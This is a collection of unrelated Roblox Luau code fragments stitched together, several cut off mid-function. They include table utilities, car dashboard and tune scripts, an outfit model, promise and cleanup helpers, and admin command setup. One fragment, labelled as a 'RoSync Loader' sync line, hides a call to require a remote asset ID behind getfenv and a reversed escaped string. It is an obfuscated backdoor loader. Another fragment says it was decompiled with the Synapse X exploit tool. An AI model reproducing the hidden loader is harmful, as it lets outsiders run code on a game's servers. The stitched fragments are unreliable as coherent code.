Area.CFrame * CFrame.new(0, Security.AreaHeight / 2 - Area.Size.Y / 2, 0),
Vector3.new(Area.Size.X, Security.AreaHeight + Area.Size.Y, Area.Size.Z)
);
Region.Area = Area
local ContainedParts = Region:CastParts(Selection);
-- If parts are in this area, remember the area
if #ContainedParts > 0 then
table.insert(Areas, Area);
-- Map out the parts for each area region
if Map then
Map[Region] = ContainedParts;
end;
end;
end;
-- Return the areas where any of the given parts exist
return Areas, Map;
end;
function Security.GetPermissions(Areas, Player)
-- Returns a cache of the current player's authorization to the given areas
-- Make sure security is enabled
if not Security.AreAreasEnabled() then
return;
end;
-- Build the cache of permissions for each area
local Cache = {};
for _, Area in pairs(Areas) do
Cache[Area] = Security.IsAreaAuthorizedForPlayer(Area, Player);
end;
-- Return the permissions cache
return Cache;
end;
return Security;
|
--[[
Model for an Outfit (e.g. Hat).
{
outfitId = number
assets = {}
bodyColors = {}
}
]]
|
local Modules = game:GetService("Players").LocalPlayer.PlayerGui.AvatarEditorInGame.Modules
local MockId = require(Modules.NotLApp.MockId)
local Constants = require(Modules.AvatarExperience.AvatarEditor.Constants)
local AEOutfitInfo = {}
function AEOutfitInfo.new()
local self = {}
return self
end
function AEOutfitInfo.mock()
local self = AEOutfitInfo.new()
local MEDIUM_STONE_GREY = 194
self.outfitId = MockId()
self.name = ""
self.assets = {}
self.bodyColors = {
HeadColor = MEDIUM_STONE_GREY,
LeftArmColor = MEDIUM_STONE_GREY,
LeftLegColor = MEDIUM_STONE_GREY,
RightArmColor = MEDIUM_STONE_GREY,
RightLegColor = MEDIUM_STONE_GREY,
TorsoColor = MEDIUM_STONE_GREY,
}
self.scales = {
height = 0,
width = 0,
head = 0,
depth = 0,
proportion = 0,
bodyType = 0,
}
self.avatarType = Constants.AvatarType.R15
self.isEditable = true
return self
end
function AEOutfitInfo.fromWebApi(outfitId, name, assets, bodyColors, scales, avatarType, isEditable)
local self = AEOutfitInfo.new()
self.outfitId = outfitId
self.name = name
self.assets = assets
self.bodyColors = bodyColors
self.scales = scales
self.avatarType = avatarType
self.isEditable = isEditable
return self
end
function AEOutfitInfo.fakeLCOutfit(outfitId)
local self = AEOutfitInfo.new()
self.isLayeredClothing = true
self.outfitId = outfitId
self.name = outfitId
self.isEditable = false
return self
end
return AEOutfitInfo
|
-- DESTROY/CLEANUP METHOD
|
function Icon:destroy()
if self._destroyed then return end
IconController.iconRemoved:Fire(self)
self:clearNotices()
if self._parentIcon then
self:leave()
end
self:setDropdown()
self:setMenu()
self._destroyed = true
self._maid:clean()
end
Icon.Destroy = Icon.destroy
return Icon
|
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.01
s:play()
wait(0.001)
end]]
|
for x = 1,140 do
s.Pitch = s.Pitch - 0.0020
s:play()
wait(0.001)
end
wait()
end
|
------------------------------------------------
|
local function Panned(input, processed)
if not processed and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Delta
panDeltaMouse = Vector2.new(-delta.y, -delta.x)
end
end
|
--[[ Last synced 10/14/2020 09:43 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--------------------
--| Script Logic |--
--------------------
|
PlayersService.PlayerAdded:connect(OnPlayerAdded)
|
--[[
TableUtil.Copy(tbl: table): table
TableUtil.CopyShallow(tbl: table): table
TableUtil.Sync(tbl: table, template: table): void
TableUtil.FastRemove(tbl: table, index: number): void
TableUtil.FastRemoveFirstValue(tbl: table, value: any): (boolean, number)
TableUtil.Map(tbl: table, callback: (value: any) -> any): table
TableUtil.Filter(tbl: table, callback: (value: any) -> boolean): table
TableUtil.Reduce(tbl: table, callback: (accum: number, value: number) -> number [, initialValue: number]): number
TableUtil.Assign(target: table, ...sources: table): table
TableUtil.Extend(tbl: table, extension: table): table
TableUtil.Reverse(tbl: table): table
TableUtil.Shuffle(tbl: table [, rng: Random]): table
TableUtil.Flat(tbl: table [, maxDepth: number = 1]): table
TableUtil.FlatMap(tbl: callback: (value: any) -> table): table
TableUtil.Keys(tbl: table): table
TableUtil.Find(tbl: table, callback: (value: any) -> boolean): (any, number)
TableUtil.Every(tbl: table, callback: (value: any) -> boolean): boolean
TableUtil.Some(tbl: table, callback: (value: any) -> boolean): boolean
TableUtil.IsEmpty(tbl: table): boolean
TableUtil.EncodeJSON(tbl: table): string
TableUtil.DecodeJSON(json: string): table
--]]
|
type Table = {any}
type MapPredicate = (any, any, Table) -> any
type FilterPredicate = (any, any, Table) -> boolean
type ReducePredicate = (number, any, any, Table) -> number
type FindCallback = (any, any, Table) -> boolean
local TableUtil = {}
local HttpService = game:GetService("HttpService")
local rng = Random.new()
local function CopyTable(t: Table): Table
assert(type(t) == "table", "First argument must be a table")
local function Copy(tbl)
local tCopy = table.create(#tbl)
for k,v in pairs(tbl) do
if type(v) == "table" then
tCopy[k] = Copy(v)
else
tCopy[k] = v
end
end
return tCopy
end
return Copy(t)
end
local function CopyTableShallow(t: Table): Table
local tCopy = table.create(#t)
if #t > 0 then
table.move(t, 1, #t, 1, tCopy)
else
for k,v in pairs(t) do tCopy[k] = v end
end
return tCopy
end
local function Sync(srcTbl: Table, templateTbl: Table): Table
assert(type(srcTbl) == "table", "First argument must be a table")
assert(type(templateTbl) == "table", "Second argument must be a table")
local tbl = CopyTableShallow(srcTbl)
-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
for k,v in pairs(tbl) do
local vTemplate = templateTbl[k]
-- Remove keys not within template:
if vTemplate == nil then
tbl[k] = nil
-- Synchronize data types:
elseif type(v) ~= type(vTemplate) then
if type(vTemplate) == "table" then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
-- Synchronize sub-tables:
elseif type(v) == "table" then
tbl[k] = Sync(v, vTemplate)
end
end
-- Add any missing keys:
for k,vTemplate in pairs(templateTbl) do
local v = tbl[k]
if v == nil then
if type(vTemplate) == "table" then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
end
end
return tbl
end
local function FastRemove(t: Table, i: number)
local n = #t
t[i] = t[n]
t[n] = nil
end
local function FastRemoveFirstValue(t: Table, v: any): (boolean, number?)
local index: number? = table.find(t, v)
if index then
FastRemove(t, index)
return true, index
end
return false, nil
end
local function Map(t: Table, f: MapPredicate): Table
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
local newT = table.create(#t)
for k,v in pairs(t) do
newT[k] = f(v, k, t)
end
return newT
end
local function Filter(t: Table, f: FilterPredicate): Table
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
local newT = table.create(#t)
if #t > 0 then
local n = 0
for i,v in ipairs(t) do
if f(v, i, t) then
n += 1
newT[n] = v
end
end
else
for k,v in pairs(t) do
if f(v, k, t) then
newT[k] = v
end
end
end
return newT
end
local function Reduce(t: Table, f: ReducePredicate, init: number?): number
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
assert(init == nil or type(init) == "number", "Third argument must be a number or nil")
local result = init or 0
for k,v in pairs(t) do
result = f(result, v, k, t)
end
return result
end
local function Assign(target: Table, ...: Table): Table
local tbl = CopyTableShallow(target)
for _,src in ipairs({...}) do
for k,v in pairs(src) do
tbl[k] = v
end
end
return tbl
end
local function Extend(target: Table, extension: Table): Table
local tbl = CopyTableShallow(target)
for _,v in ipairs(extension) do
table.insert(tbl, v)
end
return tbl
end
local function Reverse(tbl: Table): Table
local n = #tbl
local tblRev = table.create(n)
for i = 1,n do
tblRev[i] = tbl[n - i + 1]
end
return tblRev
end
local function Shuffle(tbl: Table, rngOverride: Random?): Table
assert(type(tbl) == "table", "First argument must be a table")
local shuffled = CopyTableShallow(tbl)
local random = rngOverride or rng
for i = #tbl, 2, -1 do
local j = random:NextInteger(1, i)
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
end
return shuffled
end
local function Flat(tbl: Table, depth: number?): Table
local maxDepth: number = depth or 1
local flatTbl = table.create(#tbl)
local function Scan(t: Table, d: number)
for _,v in ipairs(t) do
if type(v) == "table" and d < maxDepth then
Scan(v, d + 1)
else
table.insert(flatTbl, v)
end
end
end
Scan(tbl, 0)
return flatTbl
end
local function FlatMap(tbl: Table, callback: MapPredicate): Table
return Flat(Map(tbl, callback))
end
local function Keys(tbl: Table): Table
local keys = table.create(#tbl)
for k in pairs(tbl) do
table.insert(keys, k)
end
return keys
end
local function Find(tbl: Table, callback: FindCallback): (any?, any?)
for k,v in pairs(tbl) do
if callback(v, k, tbl) then
return v, k
end
end
return nil, nil
end
local function Every(tbl: Table, callback: FindCallback): boolean
for k,v in pairs(tbl) do
if not callback(v, k, tbl) then
return false
end
end
return true
end
local function Some(tbl: Table, callback: FindCallback): boolean
for k,v in pairs(tbl) do
if callback(v, k, tbl) then
return true
end
end
return false
end
local function IsEmpty(tbl)
return next(tbl) == nil
end
local function EncodeJSON(tbl: any): string
return HttpService:JSONEncode(tbl)
end
local function DecodeJSON(str: string): any
return HttpService:JSONDecode(str)
end
TableUtil.Copy = CopyTable
TableUtil.CopyShallow = CopyTableShallow
TableUtil.Sync = Sync
TableUtil.FastRemove = FastRemove
TableUtil.FastRemoveFirstValue = FastRemoveFirstValue
TableUtil.Map = Map
TableUtil.Filter = Filter
TableUtil.Reduce = Reduce
TableUtil.Assign = Assign
TableUtil.Extend = Extend
TableUtil.Reverse = Reverse
TableUtil.Shuffle = Shuffle
TableUtil.Flat = Flat
TableUtil.FlatMap = FlatMap
TableUtil.Keys = Keys
TableUtil.Find = Find
TableUtil.Every = Every
TableUtil.Some = Some
TableUtil.IsEmpty = IsEmpty
TableUtil.EncodeJSON = EncodeJSON
TableUtil.DecodeJSON = DecodeJSON
return TableUtil
|
--this'll be grey "Spawn" if a car isn't selected
|
script.Parent.MouseButton1Click:connect(function()
script.Parent.Parent.MainButtonPress:Fire(script.Parent)
end)
|
------------------------------------------------------------------------------------------------------------------------------------------------------
-- Functions
------------------------------------------------------------------------------------------------------------------------------------------------------
|
local function CreatePath()
if not LocalMouse.Target then return end
local Origin = LocalCharacter:FindFirstChild('HumanoidRootPart').Position
local Target = Vector3.new(LocalMouse.Hit.X, LocalMouse.Hit.Y, LocalMouse.Hit.Z)
local Path = PathfindingService:ComputeSmoothPathAsync(Origin, Target, 512)
assert(Path.Status == Enum.PathStatus.Success, 'Pathfinding failed')
CurrentPath = Path
for Index, Point in next, Path:GetPointCoordinates() do
local Distance = nil
LocalCharacter:WaitForChild('Humanoid'):MoveTo(Point)
repeat
wait()
Distance = (Point - LocalCharacter:WaitForChild('HumanoidRootPart').Position).magnitude
until Distance <= 4.5 or Path ~= CurrentPath
if Path ~= CurrentPath then break end
end
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 160 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 280 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 320 ,
spInc = 50 , -- Increment between labelled notches
}
}
|
-- local now = os.time()
-- if now - lastMoan > 5 then
-- if math.random() > .3 then
-- zombie.Moan:Play()
---- print("playing moan")
-- lastMoan = now
-- end
-- end
|
wait(2)
end
|
-- Configurações
|
local walkSpeed = 16
local jumpPower = 50
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 300 / 8000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R"
end
script.Parent.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -30 + (265 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--[[
Yield until the promise is completed.
This matches the execution model of normal Roblox functions.
]]
|
function Promise.prototype:awaitStatus()
self._unhandledRejection = false
if self._status == Promise.Status.Started then
local bindable = Instance.new("BindableEvent")
self:finally(function()
bindable:Fire()
end)
bindable.Event:Wait()
bindable:Destroy()
end
if self._status == Promise.Status.Resolved then
return self._status, unpack(self._values, 1, self._valuesLength)
elseif self._status == Promise.Status.Rejected then
return self._status, unpack(self._values, 1, self._valuesLength)
end
return self._status
end
|
-- By Ira (https://www.roblox.com/users/111334263/profile)
| |
-- Encapsulate common and change lines
|
local CommonBuffer = {}
CommonBuffer.__index = CommonBuffer
function CommonBuffer.new(deleteBuffer, insertBuffer)
local self = {}
self.deleteBuffer = deleteBuffer
self.insertBuffer = insertBuffer
self.lines = {}
setmetatable(self, CommonBuffer)
return self
end
function CommonBuffer:pushDiffCommonLine(diff: Diff): ()
table.insert(self.lines, diff)
end
function CommonBuffer:pushDiffChangeLines(diff: Diff): ()
local isDiffEmpty = #diff[2] == 0
-- An empty diff string is redundant, unless a change line is empty.
if not isDiffEmpty or self.deleteBuffer:isLineEmpty() then
self.deleteBuffer:pushDiff(diff)
end
if not isDiffEmpty or self.insertBuffer:isLineEmpty() then
self.insertBuffer:pushDiff(diff)
end
end
function CommonBuffer:flushChangeLines(): ()
self.deleteBuffer:moveLinesTo(self.lines)
self.insertBuffer:moveLinesTo(self.lines)
end
function CommonBuffer:align(diff: Diff): ()
local op = diff[1]
local s = diff[2]
if s:match("\n") then
local substrings = s:split("\n")
-- ROBLOX deviation: 1-indexing
local iLast = #substrings
for i, substring in ipairs(substrings) do
if i == 1 then
local subdiff = Diff.new(op, substring)
if self.deleteBuffer:isLineEmpty() and self.insertBuffer:isLineEmpty() then
-- If both current change lines are empty,
-- then the first substring is a common line.
self:flushChangeLines()
self:pushDiffCommonLine(subdiff)
else
-- If either current change line is non-empty,
-- then the first substring completes the change lines.
self:pushDiffChangeLines(subdiff)
self:flushChangeLines()
end
elseif i < iLast then
-- A middle substring is a common line.
self:pushDiffCommonLine(Diff.new(op, substring))
elseif #substring ~= 0 then
-- The last substring starts a change line, if it is not empty.
-- Important: This non-empty condition also automatically omits
-- the newline appended to the end of expected and received strings.
self:pushDiffChangeLines(Diff.new(op, substring))
end
end
else
-- Append non-multiline string to current change lines.
-- Important: It cannot be at the end following empty change lines,
-- because newline appended to the end of expected and received strings.
self:pushDiffChangeLines(diff)
end
end
function CommonBuffer:getLines(): Array<Diff>
self:flushChangeLines()
return self.lines
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__HDAdminMain__1 = _G.HDAdminMain;
local v2 = {
commandName1 = {
Function = function(p1, p2)
end
},
commandName2 = {
Function = function(p3, p4)
end
}
};
for v3, v4 in pairs(v2) do
v4.Name = v3;
end;
return v2;
|
--[[INSTRUCCIONES
* Tiempo entre que toca SENSOR y PARADA: 20 segundos
]]
|
function onTouched(hit)
campana.Playing = true
ondear.Value = 0.1
chimenea1.Enabled = false
chimenea2.Enabled = false
ruedaderecha1.AngularVelocity = -2
ruedaderecha2.AngularVelocity = -2
wait(10)
ondear.Value = 0.2
campana.TimePosition = 0
ruedaderecha1.AngularVelocity = -1
ruedaderecha2.AngularVelocity = -1
wait(10)
ruedaderecha1.AngularVelocity = 0
ruedaderecha2.AngularVelocity = 0
ondear.Value = 50
campana.Playing = false
wait(parada) --PARADA
ondear.Value = 0.2
chimenea1.Enabled = true
chimenea2.Enabled = true
ruedaderecha1.AngularVelocity = -0.5
ruedaderecha2.AngularVelocity = -0.5
wait(1)
ondear.Value = 0.1
ruedaderecha1.AngularVelocity = -1
ruedaderecha2.AngularVelocity = -1
wait(1)
ondear.Value = 0.05
ruedaderecha1.AngularVelocity = -2
ruedaderecha2.AngularVelocity = -2
wait(1)
ruedaderecha1.AngularVelocity = -3
ruedaderecha2.AngularVelocity = -3
end
script.Parent.Touched:connect(onTouched)
|
--[[Weight and CG]]
|
Tune.Weight = 4398 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[[Shutdown]]
|
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
script.Parent:Destroy()
end
end)
|
--Tune--
|
local StockHP = 260 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 2 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 300 --Size in Millimeters(if you have 2 turbos then its for each turbo)
local WasteGatePressure = 3.3 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 9/1 --Compression of your car (look up the compression of the engine you are running)
local AntiLag = false --if true basically keeps the turbo spooled up so less lag
|
--[=[
Alias for [Maid.DoCleaning()](/api/Maid#DoCleaning)
@function Destroy
@within Maid
]=]
|
Maid.Destroy = Maid.DoCleaning
return Maid
|
--Made by Luckymaxer
|
Tool = script.Parent
Main = Tool:WaitForChild("Main")
FX = Main:WaitForChild("FX")
Handle = Tool:WaitForChild("Handle")
Light = Handle:WaitForChild("Light")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
CastLaser = Tool:WaitForChild("CastLaser"):Clone()
Modules = Tool:WaitForChild("Modules")
Functions = require(Modules:WaitForChild("Functions"))
BaseUrl = "http://www.roblox.com/asset/?id="
ConfigurationBin = Tool:WaitForChild("Configuration")
Configuration = {}
Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration)
ToolEquipped = false
Remotes = Tool:WaitForChild("Remotes")
Sounds = {
Fire = Handle:WaitForChild("Fire"),
}
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
BaseRay = BasePart:Clone()
BaseRay.Name = "Ray"
BaseRay.BrickColor = BrickColor.new("Bright red")
BaseRay.Material = Enum.Material.Neon
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
|
--- Handles initial preparation of the game server-side.
|
return function (cmdr)
local ReplicatedRoot, RemoteFunction, RemoteEvent
local function Create (class, name, parent)
local object = Instance.new(class)
object.Name = name
object.Parent = parent or ReplicatedRoot
return object
end
ReplicatedRoot = script.Parent.CmdrClient
ReplicatedRoot.Parent = ReplicatedStorage
RemoteFunction = Create("RemoteFunction", "CmdrFunction")
RemoteEvent = Create("RemoteEvent", "CmdrEvent")
Create("Folder", "Commands")
Create("Folder", "Types")
script.Parent.Shared.Parent = ReplicatedRoot
cmdr.ReplicatedRoot = ReplicatedRoot
cmdr.RemoteFunction = RemoteFunction
cmdr.RemoteEvent = RemoteEvent
cmdr:RegisterTypesIn(script.Parent.BuiltInTypes)
script.Parent.BuiltInTypes:Destroy()
script.Parent.BuiltInCommands.Name = "Server commands"
if StarterGui:FindFirstChild("Cmdr") == nil then
CreateGui()
end
end
|
--/////////////////////////////////////////////////////////--
|
local dZIndex = 2
local dScrollBar = 4
local dBackground = Color3.new(31/255, 31/255, 31/255)
local dTransparency = 0
local dPixelSize = 0
local dBorder = Color3.new(27/255,42/255,53/255)
local dPosition = UDim2.new(0,5,0,5)
local dCanvasSize = UDim2.new(0, 0, 0, 0)
local dScrollImage = "http://roblox.com/asset?id=158348114"
local dTextColor = Color3.new(1,1,1)
local dSize = UDim2.new(1,-10,1,-10)
local dFont = "SourceSans"
local dTextSize = 16
local dPlaceholderColor = Color3.fromRGB(178, 178, 178)
local MouseIcons = {
Horizontal = "rbxassetid://1243146213";
Vertical = "rbxassetid://1243145985";
LeftCorner = "rbxassetid://1243145459";
RightCorner = "rbxassetid://1243145350";
TopRight = "rbxassetid://1243145459";
TopLeft = "rbxassetid://1243145350";
}
|
--[=[
@param orElseFn () -> Option
@return Option
If caller has a value, returns itself. Otherwise, returns the
option generated by the `orElseFn` function.
]=]
|
function Option:OrElse(orElseFn)
if self:IsSome() then
return self
else
local result = orElseFn()
